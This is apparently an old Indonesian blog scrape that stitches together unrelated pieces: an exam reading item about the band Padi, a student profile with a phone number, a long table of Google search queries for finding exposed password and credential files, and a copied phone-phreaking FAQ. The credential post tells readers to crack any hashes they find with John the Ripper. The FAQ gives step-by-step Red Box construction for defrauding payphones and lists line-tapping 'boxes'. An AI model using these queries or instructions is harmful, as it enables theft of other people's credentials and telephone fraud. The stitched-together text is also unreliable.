Kendati tetap mempertahankan diri mereka dengan lirik-lirik yang puitis, album yang digarap sejak Februari itu memang berbeda dengan album Padi sebelumnya yang penuh dinamika. Lagu "Seandainya Bisa Memilih" dan "Semua Tak Sama," misalnya, sangat membantu kemampuan vokal Fadly dalam menyesuaikan tempo musik yang berubah-ubah. Nuansa harpa dari Maya Hassan serta paduan suara Ingimto Trisakti Choir turut memperkaya kesan orkestra musik mereka. Oleh karena itu ...
Simpulan yang tepat untuk melengkapi kalimat terakhir paragraf tersebut adalah ...
A. musik Padi kali ini sangat terkenal dan digemari orang
B. musik Padi kali ini terdengarmakin progresif dengan nuansa yang lebih variatif
C. musik Padi masih tetap mempertahankan lirik-lirik lagu yang puitis
D. dua lagu musik Padi sangat membantu kemampuan vokal Fadly
E. nuansa harpa serta paduan suara Ingimto memperkaya kesan orkestra musik Padi

Profil of ahmad Jaelani

2009-07-05T15:00:00.000-07:00

Name : Ahmad Jaelani
Nim: 18095534
TTL: Jakarta, 30 april 1991
Contact Person: 085717201221
Email or FB: ahmad_jihad@plasa.com or

Tips n Trik mendapatkan username and password di GOOGLE

2009-07-05T10:37:00.002-07:00

google sebagai web pencarian no 1 saat ini memang belum ada duanya. teknik pencarian dengan penggunaan macam tipe dan operator membuat user dapat membuat berbagai macam variasi pencarian. kita tidak akan membahas berbagai macam operator tersebut, karena judul artikel ini mendapatkan password dan username.

semua tabel dalam artikel ini diambil dari buku
?google hacking for penetration testers?, mungkin ada temen2 yang belum sempet baca jadi saya tulis aja biar semua bisa menikmati. biar temen2 yang masih newbie tidak terheran heran jika seseorang bisa mendapatkan banyak passworddari website. jadi gak usah heran?.

TABEL KATA KATA KUNCI MENDAPATKAN USERNAMES
???????????????????
KATA KUNCI | KETERANGAN
???????????????????
inurl:admin inurl: |userlist Generic userlist files
???????????????????
inurl:admin filetype: |asp Generic userlist files
inurl:userlist |
???????????????????
inurl:php inurl: |Half-life statistics file, lists username and
hlstats intext: |other information
Server Username |
???????????????????
filetype:ctl |
inurl:haccess. |Microsoft FrontPage equivalent of htaccess
ctl Basic |shows Web user credentials
???????????????????
filetype:reg |
reg intext: |Microsoft Internet Account Manager can
???????????????????
?internet account manager? |reveal usernames and more
filetype:wab wab |Microsoft Outlook Express Mail address
|books
???????????????????
filetype:mdb inurl:profiles |Microsoft Access databases containing
|profiles.
???????????????????
index.of perform.ini |mIRC IRC ini file can list IRC usernames and
|other information
???????????????????
inurl:root.asp?acs=anon |Outlook Mail Web Access directory can be
|used to discover usernames
???????????????????
filetype:conf inurl:proftpd. |PROFTP FTP server configuration file
conf ?sample |reveals
|username and server information
???????????????????
filetype:log username putty |PUTTY SSH client logs can reveal
|usernames
|and server information
???????????????????
filetype:rdp rdp |Remote Desktop Connection files reveal user
|credentials
???????????????????
intitle:index.of |UNIX bash shell history reveals commands
.bash_history |typed at a bash command prompt; usernames
|are often typed as argument strings
???????????????????
intitle:index.of |UNIX shell history reveals commands typed at
.sh_history |a shell command prompt; usernames are
|often typed as argument strings
???????????????????
?index of ? lck |Various lock files list the user currently using
|a file
???????????????????
+intext:webalizer +intext: |Webalizer Web statistics page lists Web user-
Total Usernames +intext: |names and statistical information
?Usage Statistics for?
???????????????????
filetype:reg reg HKEY_ |Windows Registry exports can reveal
CURRENT_USER |username usernames and other information
???????????????????

TABEL KATA-KATA KUNCI MENDAPATKAN PASSWORD

???????????????????
KATA KUNCI | KETERANGAN
???????????????????
inurl:/db/main.mdb |ASP-Nuke passwords
???????????????????
filetype:cfm ?cfapplication |ColdFusion source with potential passwords
name? password
???????????????????
filetype:pass |dbman credentials
pass intext:userid
???????????????????
allinurl:auth_user_file.txt |DCForum user passwords
???????????????????
eggdrop filetype:user user |Eggdrop IRC user credentials
???????????????????
filetype:ini inurl:flashFXP.ini |FlashFXP FTP credentials
???????????????????
filetype:url +inurl:?ftp://? |FTP bookmarks cleartext passwords
+inurl:?@?
???????????????????
inurl:zebra.conf intext: |GNU Zebra passwords
password -sample -test
-tutorial ?download
???????????????????
filetype:htpasswd htpasswd |HTTP htpasswd Web user credentials
???????????????????
intitle:?Index of? ?.htpasswd? |HTTP htpasswd Web user credentials
?htgroup? -intitle:?dist?
-apache -htpasswd.c
???????????????????
intitle:?Index of? ?.htpasswd? |HTTP htpasswd Web user credentials
htpasswd.bak
???????????????????
?http://*:*@www? bob:bob |HTTP passwords (bob is a sample username)
???????????????????
?sets mode: +k? |IRC channel keys (passwords)
???????????????????
?Your password is * |Remember IRC NickServ registration passwords
this for later use?
???????????????????
signin filetype:url |JavaScript authentication credentials
???????????????????
LeapFTP intitle:?index.of./? |LeapFTP client login credentials
sites.ini modified
???????????????????
inurl:lilo.conf filetype:conf |LILO passwords
password -tatercounter2000
-bootpwd ?man
???????????????????
filetype:config config intext: |Microsoft .NET application credentials
appSettings ?User ID?
???????????????????
filetype:pwd service |Microsoft FrontPage Service Web passwords
???????????????????
intitle:index.of |Microsoft FrontPage Web credentials
administrators.pwd
???????????????????
?# -FrontPage-? |Microsoft FrontPage Web passwords
inurl:service.pwd
ext:pwd inurl:_vti_pvt inurl: |Microsoft FrontPage Web passwords
(Service | authors | administrators)
???????????????????
inurl:perform filetype:ini |mIRC nickserv credentials
???????????????????
intitle:?index of? intext: |mySQL database credentials
connect.inc
???????????????????
intitle:?index of? intext: |mySQL database credentials
globals.inc
???????????????????
filetype:conf oekakibbs |Oekakibss user passwords
???????????????????
filetype:dat wand.dat |Opera? ÄúMagic Wand?Äù Web credentials
???????????????????
inurl:ospfd.conf intext: |OSPF Daemon Passwords
password -sample -test
-tutorial ?download
???????????????????
index.of passlist |Passlist user credentials
???????????????????
inurl:passlist.txt |passlist.txt file user credentials
???????????????????
filetype:dat ?password.dat? |password.dat files
???????????????????
inurl:password.log filetype:log |password.log file reveals usernames,
|passwords,and hostnames
???????????????????
filetype:log inurl:?password.log? |password.log files cleartext
|passwords
???????????????????
inurl:people.lst filetype:lst |People.lst generic password file
???????????????????
intitle:index.of config.php |PHP Configuration File database
|credentials
???????????????????
inurl:config.php dbuname dbpass |PHP Configuration File database
|credentials
???????????????????
inurl:nuke filetype:sql |PHP-Nuke credentials
???????????????????
filetype:conf inurl:psybnc.conf |psyBNC IRC user credentials
?USER.PASS=?
???????????????????
filetype:ini ServUDaemon |servU FTP Daemon credentials
???????????????????
filetype:conf slapd.conf |slapd configuration files root password
???????????????????
inurl:?slapd.conf? intext: |slapd LDAP credentials
?credentials? -manpage
-?Manual Page? -man: -sample
???????????????????
inurl:?slapd.conf? intext: |slapd LDAP root password
?rootpw? -manpage
-?Manual Page? -man: -sample
???????????????????
filetype:sql ?IDENTIFIED BY? ?cvs |SQL passwords
???????????????????
filetype:sql password |SQL passwords
???????????????????
filetype:ini wcx_ftp |Total Commander FTP passwords
???????????????????
filetype:netrc password |UNIX .netrc user credentials
???????????????????
index.of.etc |UNIX /etc directories contain
|various credential files
???????????????????
intitle:?Index of..etc? passwd |UNIX /etc/passwd user credentials
???????????????????
intitle:index.of passwd |UNIX /etc/passwd user credentials
passwd.bak
???????????????????
intitle:?Index of? pwd.db |UNIX /etc/pwd.db credentials
???????????????????
intitle:Index.of etc shadow |UNIX /etc/shadow user credentials
???????????????????
intitle:index.of master.passwd |UNIX master.passwd user credentials
???????????????????
intitle:?Index of? spwd.db |UNIX spwd.db credentials
passwd -pam.conf
???????????????????
filetype:bak inurl:?htaccess| |UNIX various password file backups
passwd|shadow|htusers
???????????????????
filetype:inc dbconn |Various database credentials
???????????????????
filetype:inc intext:mysql_ |Various database credentials, server names
connect
???????????????????
filetype:properties inurl:db |Various database credentials, server names
intext:password
???????????????????
inurl:vtund.conf intext:pass ?cvs |Virtual Tunnel Daemon passwords
???????????????????
inurl:?wvdial.conf? intext: |wdial dialup user credentials
?password?
???????????????????
filetype:mdb wwforum |Web Wiz Forums Web credentials
???????????????????
?AutoCreate=TRUE password=*? |Website Access Analyzer user passwords
???????????????????
filetype:pwl pwl |Windows Password List user credentials
???????????????????
filetype:reg reg +intext: |Windows Registry Keys containing user
?defaultusername? intext: |credentials
?defaultpassword?
???????????????????
filetype:reg reg +intext: |Windows Registry Keys containing user
?internet account manager? |credentials
???????????????????
?index of/? ?ws_ftp.ini? |WS_FTP FTP credentials
?parent directory?
???????????????????
filetype:ini ws_ftp pwd |WS_FTP FTP user credentials
???????????????????
inurl:/wwwboard |wwwboard user credentials
???????????????????

mungkin temen2 ada yang ingin melihat password dari website jerman?
mungkin sebaiknya kita juga mengganti kata ?password? dengan memakai bahasa jerman tentunya dibawah ini adalah tabel 5 negara beserta terjemahan password dalam bahasa masing2 negara.

??????????????????
BAHASA |KATA-KATA| TRANSLATE
??????????????????
German |password | Kennwort
Spanish |password | contraseña
French |password | mot de passe
Italian |password | parola d?accesso
Portuguese |password | senha
Dutch |password | Paswoord
??????????????????

setelah temen2 banyak mendapatkan password, apa yang akan anda lakukan?jangan berbuat jahat yang pasti, lihat2 saja isinya atau anda terlalu baik dengan memberitahu admin. jangan lupa sediakan john the ripper dirumah, sapa tau password yang disimpan sudah dalam keadaan terenkripsi.

keterangan :
karena ketidak teraturan kata2 pada artikel ini, setelah tanda ?|? berarti itu merupakan keterangan dari kata kunci. MOHON MAAF

Refferensi Hacking B 1-34

2009-07-05T10:37:00.001-07:00

U 01. What is a Red Box?
02. How do I build a Red Box?
03. Where can I get a 6.5536Mhz crystal?
04. Which payphones will a Red Box work on?
05. How do I make local calls with a Red Box?
06. What is a Blue Box?
07. Do Blue Boxes still work?
08. What is a Black Box?
09. What do all the colored boxes do?
10. What is an ANAC number?
U 11. What is the ANAC number for my area?
12. What is a ringback number?
U 13. What is the ringback number for my area?
14. What is a loop?
U 15. What is a loop in my area?
U 16. What is a CNA number?
17. What is the telephone company CNA number for my area?
U 18. What are some numbers that always ring busy?
U 19. What are some numbers that temporarily disconnect phone service?
U 20. What is a Proctor Test Set?
U 21. What is a Proctor Test Set in my area?
22. What is scanning?
23. Is scanning illegal?
U 24. Where can I purchase a lineman's handset?
25. What are the DTMF frequencies?
26. What are the frequencies of the telephone tones?
U 27. What are all of the * (LASS) codes?
28. What frequencies do cordless phones operate on?
29. What is Caller-ID?
30. How do I block Caller-ID?
31. What is a PBX?
32. What is a VMB?
33. What are the ABCD tones for?
N 34. What are the International Direct Numbers?

Section B: Telephony

Section B: Telephony
~~~~~~~~~~~~~~~~~~~~

01. What is a Red Box?

When a coin is inserted into a payphone, the payphone emits a set of
tones to ACTS (Automated Coin Toll System). Red boxes work by fooling
ACTS into believing you have actually put money into the phone. The
red box simply plays the ACTS tones into the telephone microphone.
ACTS hears those tones, and allows you to place your call. The actual
tones are:

Nickel Signal 1700+2200hz 0.060s on
Dime Signal 1700+2200hz 0.060s on, 0.060s off, twice repeating
Quarter Signal 1700+2200hz 33ms on, 33ms off, 5 times repeating

Canada uses a variant of ACTSD called N-ACTS. N-ACTS uses different
tones than ACTS. In Canada, the tones to use are:

Nickel Signal 2200hz 0.060s on
Dime Signal 2200hz 0.060s on, 0.060s off, twice repeating
Quarter Signal 2200hz 33ms on, 33ms off, 5 times repeating

02. How do I build a Red Box?

Red boxes are commonly manufactured from modified Radio Shack tone
dialers, Hallmark greeting cards, or made from scratch from readily
available electronic components.

To make a Red Box from a Radio Shack 43-141 or 43-146 tone dialer, open
the dialer and replace the crystal with a new one. The purpose of the
new crystal is to cause the * button on your tone dialer to create a
1700Mhz and 2200Mhz tone instead of the original 941Mhz and 1209Mhz
tones. The exact value of the replacement crystal should be 6.466806 to
create a perfect 1700Mhz tone and 6.513698 to create a perfect 2200mhz
tone. A crystal close to those values will create a tone that easily
falls within the loose tolerances of ACTS. The most popular choice is
the 6.5536Mhz crystal, because it is the easiest to procure. The old
crystal is the large shiny metal component labeled "3.579545Mhz." When
you are finished replacing the crystal, program the P1 button with five
*'s. That will simulate a quarter tone each time you press P1.

03. Where can I get a 6.5536Mhz crystal?

Your best bet is a local electronics store. Radio Shack sells them, but
they are overpriced and the store must order them in. This takes
approximately two weeks. In addition, many Radio Shack employees do not
know that this can be done.

Or, you could order the crystal mail order. This introduces Shipping
and Handling charges, which are usually much greater than the price of
the crystal. It's best to get several people together to share the S&H
cost. Or, buy five or six yourself and sell them later. Some of the
places you can order crystals are:

Digi-Key
701 Brooks Avenue South
P.O. Box 677
Thief River Falls, MN 56701-0677
(800)344-4539
Part Number:X415-ND /* Note: 6.500Mhz and only .197 x .433 x .149! */
Part Number:X018-ND

JDR Microdevices:
2233 Branham Lane
San Jose, CA 95124
(800)538-5000
Part Number: 6.5536MHZ

Tandy Express Order Marketing
401 NE 38th Street
Fort Worth, TX 76106
(800)241-8742
Part Number: 10068625

Alltronics
2300 Zanker Road
San Jose CA 95131
(408)943-9774 Voice
(408)943-9776 Fax
(408)943-0622 BBS
Part Number: 92A057

Mouser
(800)346-6873
Part Number: 332-1066

Blue Saguaro
P.O. Box 37061
Tucson, AZ 85740
Part Number: 1458b

Unicorn Electronics
10000 Canoga Ave, Unit c-2
Chatsworth, CA 91311
Phone: 1-800-824-3432
Part Number: CR6.5

04. Which payphones will a Red Box work on?

Red Boxes will work on telco owned payphones, but not on COCOT's
(Customer Owned Coin Operated Telephones).

Red boxes work by fooling ACTS (Automated Coin Toll System) into
believing you have put money into the pay phone. ACTS is the
telephone company software responsible for saying "Please deposit XX
cents" and listening for the coins being deposited.

COCOT's do not use ACTS. On a COCOT, the pay phone itself is
responsible for determining what coins have been inserted.

05. How do I make local calls with a Red Box?

Payphones do not use ACTS for local calls. To use your red box for
local calls, you have to fool ACTS into getting involved in the call.

One way to do this, in some areas, is by dialing 10288-xxx-xxxx. This
makes your call a long distance call, and brings ACTS into the
picture.

In other areas, you can call Directory Assistance and ask for the
number of the person you are trying to reach. The operator will give
you the number and then you will hear a message similar to "Your call
can be completed automatically for an additional 35 cents." When this
happens, you can then use ACTS tones.

06. What is a Blue Box?

Blue boxes use a 2600hz tone to size control of telephone switches
that use in-band signalling. The caller may then access special
switch functions, with the usual purpose of making free long distance
phone calls, using the tones provided by the Blue Box.

07. Do Blue Boxes still work?

This FAQ answer is excerpted from a message posted to Usenet by
Marauder of the Legion of Doom:

Somewhere along the line I have seen reference to something
similar to "Because of ESS Blue boxing is impossible". This is
incorrect. When I lived in Connecticut I was able to blue box
under Step by Step, #1AESS, and DMS-100. The reason is simple,
even though I was initiating my call to an 800 number from a
different exchange (Class 5 office, aka Central Office) in each
case, when the 800 call was routed to the toll network it would
route through the New Haven #5 Crossbar toll Tandem office. It
just so happens that the trunks between the class 5 (CO's) and
the class 4 (toll office, in this case New Haven #5 Xbar),
utilized in-band (MF) signalling, so regardless of what I
dialed, as long as it was an Inter-Lata call, my call would
route through this particular set of trunks, and I could Blue
box until I was blue in the face. The originating Central
Offices switch (SXS/ESS/Etc..) had little effect on my ability
to box at all. While the advent of ESS (and other electronic
switches) has made the blue boxers task a bit more difficult,
ESS is not the reason most of you are unable to blue box. The
main culprit is the "forward audio mute" feature of CCIS (out of
band signalling). Unfortunately for the boxer 99% of the Toll
Completion centers communicate using CCIS links, This spells
disaster for the blue boxer since most of you must dial out of
your local area to find trunks that utilize MF signalling, you
inevitably cross a portion of the network that is CCIS equipped,
you find an exchange that you blow 2600hz at, you are rewarded
with a nice "winkstart", and no matter what MF tones you send at
it, you meet with a re-order. This is because as soon as you
seized the trunk (your application of 2600hz), your Originating
Toll Office sees this as a loss of supervision at the
destination, and Mutes any further audio from being passed to
the destination (ie: your waiting trunk!). You meet with a
reorder because the waiting trunk never "hears" any of the MF
tones you are sending, and it times out. So for the clever
amongst you, you must somehow get yourself to the 1000's of
trunks out there that still utilize MF signalling but
bypass/disable the CCIS audio mute problem. (Hint: Take a close
look at WATS extenders).

08. What is a Black Box?

A Black Box is a resistor (and often capacitor in parallel) placed in
series across your phone line to cause the phone company equipment to be
unable to detect that you have answered your telephone. People who call
you will then not be billed for the telephone call. Black boxes do not
work under ESS.

09. What do all the colored boxes do?

Acrylic Steal Three-Way-Calling, Call Waiting and programmable
Call Forwarding on old 4-wire phone systems
Aqua Drain the voltage of the FBI lock-in-trace/trap-trace
Beige Lineman's hand set
Black Allows the calling party to not be billed for the call
placed
Blast Phone microphone amplifier
Blotto Supposedly shorts every phone out in the immediate area
Blue Emulate a true operator by seizing a trunk with a 2600hz
tone
Brown Create a party line from 2 phone lines
Bud Tap into your neighbors phone line
Chartreuse Use the electricity from your phone line
Cheese Connect two phones to create a diverter
Chrome Manipulate Traffic Signals by Remote Control
Clear A telephone pickup coil and a small amp used to make free
calls on Fortress Phones
Color Line activated telephone recorder
Copper Cause crosstalk interference on an extender
Crimson Hold button
Dark Re-route outgoing or incoming calls to another phone
Dayglo Connect to your neighbors phone line
Diverter Re-route outgoing or incoming calls to another phone
DLOC Create a party line from 2 phone lines
Gold Dialout router
Green Emulate the Coin Collect, Coin Return, and Ringback tones
Infinity Remotely activated phone tap
Jack Touch-Tone key pad
Light In-use light
Lunch AM transmitter
Magenta Connect a remote phone line to another remote phone line
Mauve Phone tap without cutting into a line
Neon External microphone
Noise Create line noise
Olive External ringer
Party Create a party line from 2 phone lines
Pearl Tone generator
Pink Create a party line from 2 phone lines
Purple Telephone hold button
Rainbow Kill a trace by putting 120v into the phone line (joke)
Razz Tap into your neighbors phone
Red Make free phone calls from pay phones by generating
quarter tones
Rock Add music to your phone line
Scarlet Cause a neighbors phone line to have poor reception
Silver Create the DTMF tones for A, B, C and D
Static Keep the voltage on a phone line high
Switch Add hold, indicator lights, conferencing, etc..
Tan Line activated telephone recorder
Tron Reverse the phase of power to your house, causing your
electric meter to run slower
TV Cable "See" sound waves on your TV
Urine Create a capacitative disturbance between the ring and
tip wires in another's telephone headset
Violet Keep a payphone from hanging up
White Portable DTMF keypad
Yellow Add an extension phone

Box schematics may be retrieved from these FTP sites:

ftp.netcom.com /pub/br/bradleym
ftp.netcom.com /pub/va/vandal
ftp.winternet.com /users/nitehwk

10. What is an ANAC number?

An ANAC (Automatic Number Announcement Circuit) number is a telephone
number that plays back the number of the telephone that called it.
ANAC numbers are convenient if you want to know the telephone number
of a pair of wires.

11. What is the ANAC number for my area?

How to find your ANAC number:

Look up your NPA (Area Code) and try the number listed for it. If that
fails, try 1 plus the number listed for it. If that fails, try the
common numbers like 311, 958 and 200-222-2222. If you find the ANAC
number for your area, please let us know.

Note that many times the ANAC number will vary for different switches
in the same city. The geographic naming on the list is NOT intended
to be an accurate reference for coverage patterns, it is for
convenience only.

Many companies operate 800 number services which will read back to you
the number from which you are calling. Many of these require navigating
a series of menus to get the phone number you are looking for. Please
use local ANAC numbers if you can, as overuse or abuse can kill 800 ANAC
numbers.

N (800)425-6256 VRS Billing Systems/Integretel (800)4BLOCKME
(800)568-3197 Info Access Telephone Company's Automated Blocking Line
(800)692-6447 (800)MY-ANI-IS (Now protected by a passcode!)
N (800)858-9857 AT&T True Rewards

A non-800 ANAC that works nationwide is 404-988-9664. The one catch
with this number is that it must be dialed with the AT&T Carrier Access
Code 10732. Use of this number does not appear to be billed.

Note: These geographic areas are for reference purposes only. ANAC
numbers may vary from switch to switch within the same city.

NPA ANAC number Approximate Geographic area
--- --------------- ---------------------------------------------
201 958 Hackensack/Jersey City/Newark/Paterson, NJ
202 811 District of Columbia
203 970 CT
205 300-222-2222 Birmingham, AL
205 300-555-5555 Many small towns in AL
205 300-648-1111 Dora, AL
205 300-765-4321 Bessemer, AL
205 300-798-1111 Forestdale, AL
205 300-833-3333 Birmingham
205 557-2311 Birmingham, AL
205 811 Pell City/Cropwell/Lincoln, AL
205 841-1111 Tarrant, AL
205 908-222-2222 Birmingham, AL
206 411 WA (Not US West)
207 958 ME
209 830-2121 Stockton, CA
209 211-9779 Stockton, CA
210 830 Brownsville/Laredo/San Antonio, TX
N 210 951 Brownsville/Laredo/San Antonio, TX (GTE)
212 958 Manhattan, NY
213 114 Los Angeles, CA (GTE)
213 1223 Los Angeles, CA (Some 1AESS switches)
213 211-2345 Los Angeles, CA (English response)
213 211-2346 Los Angeles, CA (DTMF response)
213 760-2??? Los Angeles, CA (DMS switches)
213 61056 Los Angeles, CA
214 570 Dallas, TX
214 790 Dallas, TX (GTE)
214 970-222-2222 Dallas, TX
214 970-611-1111 Dallas, TX (Southwestern Bell)
215 410-xxxx Philadelphia, PA
215 511 Philadelphia, PA
215 958 Philadelphia, PA
216 200-XXXX Akron/Canton/Cleveland/Lorain/Youngstown, OH
216 331 Akron/Canton/Cleveland/Lorain/Youngstown, OH
216 959-9892 Akron/Canton/Cleveland/Lorain/Youngstown, OH
217 200-xxx-xxxx Champaign-Urbana/Springfield, IL
219 550 Gary/Hammond/Michigan City/Southbend, IN
219 559 Gary/Hammond/Michigan City/Southbend, IN
N 301 2002006969 Hagerstown/Rockville, MD
301 958-9968 Hagerstown/Rockville, MD
303 958 Aspen/Boulder/Denver/Durango/Grand Junction
/Steamboat Springs, CO
N 305 200-555-1212 Ft. Lauderdale/Key West/Miami, FL
N 305 200200200200200 Ft. Lauderdale/Key West/Miami, FL
N 305 780-2411 Ft. Lauderdale/Key West/Miami, FL
310 114 Long Beach, CA (On many GTE switches)
310 1223 Long Beach, CA (Some 1AESS switches)
310 211-2345 Long Beach, CA (English response)
310 211-2346 Long Beach, CA (DTMF response)
312 200 Chicago, IL
312 290 Chicago, IL
312 1-200-8825 Chicago, IL (Last four change rapidly)
312 1-200-555-1212 Chicago, IL
313 200-200-2002 Ann Arbor/Dearborn/Detroit, MI
313 200-222-2222 Ann Arbor/Dearborn/Detroit, MI
313 200-xxx-xxxx Ann Arbor/Dearborn/Detroit, MI
313 200200200200200 Ann Arbor/Dearborn/Detroit, MI
314 410-xxxx# Columbia/Jefferson City/St.Louis, MO
315 953 Syracuse/Utica, NY
315 958 Syracuse/Utica, NY
315 998 Syracuse/Utica, NY
317 310-222-2222 Indianapolis/Kokomo, IN
317 559-222-2222 Indianapolis/Kokomo, IN
317 743-1218 Indianapolis/Kokomo, IN
334 5572411 Montgomery, AL
334 5572311 Montgomery, AL
401 200-200-4444 RI
401 222-2222 RI
402 311 Lincoln, NE
404 311 Atlanta, GA
N 770 780-2311 Atlanta, GA
404 940-xxx-xxxx Atlanta, GA
404 990 Atlanta, GA
405 890-7777777 Enid/Oklahoma City, OK
405 897 Enid/Oklahoma City, OK
U 407 200-222-2222 Orlando/West Palm Beach, FL (Bell South)
N 407 520-3111 Orlando/West Palm Beach, FL (United)
408 300-xxx-xxxx San Jose, CA
408 760 San Jose, CA
408 940 San Jose, CA
409 951 Beaumont/Galveston, TX
409 970-xxxx Beaumont/Galveston, TX
410 200-6969 Annapolis/Baltimore, MD
N 410 200-200-6969 Annapolis/Baltimore, MD
410 200-555-1212 Annapolis/Baltimore, MD
410 811 Annapolis/Baltimore, MD
412 711-6633 Pittsburgh, PA
412 711-4411 Pittsburgh, PA
412 999-xxxx Pittsburgh, PA
413 958 Pittsfield/Springfield, MA
413 200-555-5555 Pittsfield/Springfield, MA
414 330-2234 Fond du Lac/Green Bay/Milwaukee/Racine, WI
415 200-555-1212 San Francisco, CA
415 211-2111 San Francisco, CA
415 2222 San Francisco, CA
415 640 San Francisco, CA
415 760-2878 San Francisco, CA
415 7600-2222 San Francisco, CA
419 311 Toledo, OH
N 423 200-200-200 Chatanooga, Johnson City, Knoxville , TN
N 501 511 AR
502 2002222222 Frankfort/Louisville/Paducah/Shelbyville, KY
502 997-555-1212 Frankfort/Louisville/Paducah/Shelbyville, KY
503 611 Portland, OR
503 999 Portland, OR (GTE)
504 99882233 Baton Rouge/New Orleans, LA
504 201-269-1111 Baton Rouge/New Orleans, LA
504 998 Baton Rouge/New Orleans, LA
504 99851-0000000000 Baton Rouge/New Orleans, LA
508 958 Fall River/New Bedford/Worchester, MA
508 200-222-1234 Fall River/New Bedford/Worchester, MA
508 200-222-2222 Fall River/New Bedford/Worchester, MA
508 26011 Fall River/New Bedford/Worchester, MA
509 560 Spokane/Walla Walla/Yakima, WA
510 760-1111 Oakland, CA
512 830 Austin/Corpus Christi, TX
512 970-xxxx Austin/Corpus Christi, TX
N 513 380-55555555 Cincinnati/Dayton, OH
515 5463 Des Moines, IA
515 811 Des Moines, IA
516 958 Hempstead/Long Island, NY
516 968 Hempstead/Long Island, NY
517 200-222-2222 Bay City/Jackson/Lansing, MI
517 200200200200200 Bay City/Jackson/Lansing, MI
518 511 Albany/Schenectady/Troy, NY
518 997 Albany/Schenectady/Troy, NY
518 998 Albany/Schenectady/Troy, NY
N 540 211 Roanoke, VA (GTE)
N 540 311 Roanoke, VA (GTE)
N 541 200 Bend, OR
603 200-222-2222 NH
606 997-555-1212 Ashland/Winchester, KY
606 711 Ashland/Winchester, KY
607 993 Binghamton/Elmira, NY
609 958 Atlantic City/Camden/Trenton/Vineland, NJ
610 958 Allentown/Reading, PA
610 958-4100 Allentown/Reading, PA
612 511 Minneapolis/St.Paul, MN
614 200 Columbus/Steubenville, OH
614 571 Columbus/Steubenville, OH
615 200200200200200 Chatanooga/Knoxville/Nashville, TN
615 2002222222 Chatanooga/Knoxville/Nashville, TN
615 830 Nashville, TN
616 200-222-2222 Battle Creek/Grand Rapids/Kalamazoo, MI
617 200-222-1234 Boston, MA
617 200-222-2222 Boston, MA
617 200-444-4444 Boston, MA (Woburn, MA)
617 220-2622 Boston, MA
617 958 Boston, MA
618 200-xxx-xxxx Alton/Cairo/Mt.Vernon, IL
618 930 Alton/Cairo/Mt.Vernon, IL
619 211-2001 San Diego, CA
619 211-2121 San Diego, CA
N 659 220-2622 Newmarket, NH
N 703 211 VA
N 703 511-3636 Culpeper/Orange/Fredericksburg, VA
703 811 Alexandria/Arlington/Roanoke, VA
704 311 Asheville/Charlotte, NC
N 706 940-xxxx Augusta, GA
707 211-2222 Eureka, CA
708 1-200-555-1212 Chicago/Elgin, IL
708 1-200-8825 Chicago/Elgin, IL (Last four change rapidly)
708 200-6153 Chicago/Elgin, IL
708 724-9951 Chicago/Elgin, IL
713 380 Houston, TX
713 970-xxxx Houston, TX
713 811 Humble, TX
N 713 380-5555-5555 Houston, TX
714 114 Anaheim, CA (GTE)
714 211-2121 Anaheim, CA (PacBell)
714 211-2222 Anaheim, CA (Pacbell)
N 714 211-7777 Anaheim, CA (Pacbell)
716 511 Buffalo/Niagara Falls/Rochester, NY (Rochester Tel)
716 990 Buffalo/Niagara Falls/Rochester, NY (Rochester Tel)
717 958 Harrisburg/Scranton/Wilkes-Barre, PA
718 958 Bronx/Brooklyn/Queens/Staten Island, NY
N 770 940-xxx-xxxx Marietta/Norcross, GA
N 770 780-2311 Marietta/Norcross, GA
802 2-222-222-2222 Vermont
802 200-222-2222 Vermont
802 1-700-222-2222 Vermont
802 111-2222 Vermont
N 804 990 Virginia Beach, VA
805 114 Bakersfield/Santa Barbara, CA
805 211-2345 Bakersfield/Santa Barbara, CA
805 211-2346 Bakersfield/Santa Barbara, CA (Returns DTMF)
805 830 Bakersfield/Santa Barbara, CA
806 970-xxxx Amarillo/Lubbock, TX
810 200200200200200 Flint/Pontiac/Southfield/Troy, MI
N 810 311 Pontiac/Southfield/Troy, MI
812 410-555-1212 Evansville, IN
813 311 Ft. Meyers/St. Petersburg/Tampa, FL
N 815 200-3374 Crystal Lake, IL
N 815 270-3374 Crystal Lake, IL
N 815 770-3374 Crystal Lake, IL
815 200-xxx-xxxx La Salle/Rockford, IL
815 290 La Salle/Rockford, IL
817 211 Ft. Worth/Waco, TX
817 970-611-1111 Ft. Worth/Waco, TX (Southwestern Bell)
818 1223 Pasadena, CA (Some 1AESS switches)
818 211-2345 Pasadena, CA (English response)
818 211-2346 Pasadena, CA (DTMF response)
N 860 970 CT
903 970-611-1111 Tyler, TX
904 200-222-222 Jackonsville/Pensacola/Tallahasee, FL
906 1-200-222-2222 Marquette/Sault Ste. Marie, MI
907 811 AK
908 958 New Brunswick, NJ
N 909 111 Riverside/San Bernardino, CA (GTE)
910 200 Fayetteville/Greensboro/Raleigh/Winston-Salem, NC
910 311 Fayetteville/Greensboro/Raleigh/Winston-Salem, NC
910 988 Fayetteville/Greensboro/Raleigh/Winston-Salem, NC
914 990-1111 Peekskill/Poughkeepsie/White Plains/Yonkers, NY
915 970-xxxx Abilene/El Paso, TX
N 916 211-0007 Sacramento, CA (Pac Bell)
916 461 Sacramento, CA (Roseville Telephone)
919 200 Durham, NC
919 711 Durham, NC
N 954 200-555-1212 Ft. Lauderdale, FL
N 954 200200200200200 Ft. Lauderdale, FL
N 954 780-2411 Ft. Lauderdale, FL

Canada:
204 644-4444 Manitoba
306 115 Saskatchewan
403 311 Alberta, Yukon and N.W. Territory
403 908-222-2222 Alberta, Yukon and N.W. Territory
403 999 Alberta, Yukon and N.W. Territory
416 997-xxxx Toronto, Ontario
506 1-555-1313 New Brunswick
514 320-xxxx Montreal, Quebec
U 514 320-1232 Montreal, Quebec
U 514 320-1223 Montreal, Quebec
U 514 320-1233 Montreal, Quebec
519 320-xxxx London, Ontario
604 1116 British Columbia
604 1211 British Columbia
604 211 British Columbia
613 320-2232 Ottawa, Ontario
705 320-4567 North Bay/Saulte Ste. Marie, Ontario
N 819 320-1112 Quebec

Australia:
+61 03-552-4111 Victoria 03 area
+612 19123 All major capital cities
+612 11544

United Kingdom:
175

Israel:
110

12. What is a ringback number?

A ringback number is a number that you call that will immediately
ring the telephone from which it was called.

In most instances you must call the ringback number, quickly hang up
the phone for just a short moment and then let up on the switch, you
will then go back off hook and hear a different tone. You may then
hang up. You will be called back seconds later.

13. What is the ringback number for my area?

An 'x' means insert those numbers from the phone number from which you
are calling. A '?' means that the number varies from switch to switch
in the area, or changes from time to time. Try all possible
combinations.

If the ringback for your NPA is not listed, try common ones such as 114,
951-xxx-xxxx, 954, 957 and 958. Also, try using the numbers listed for
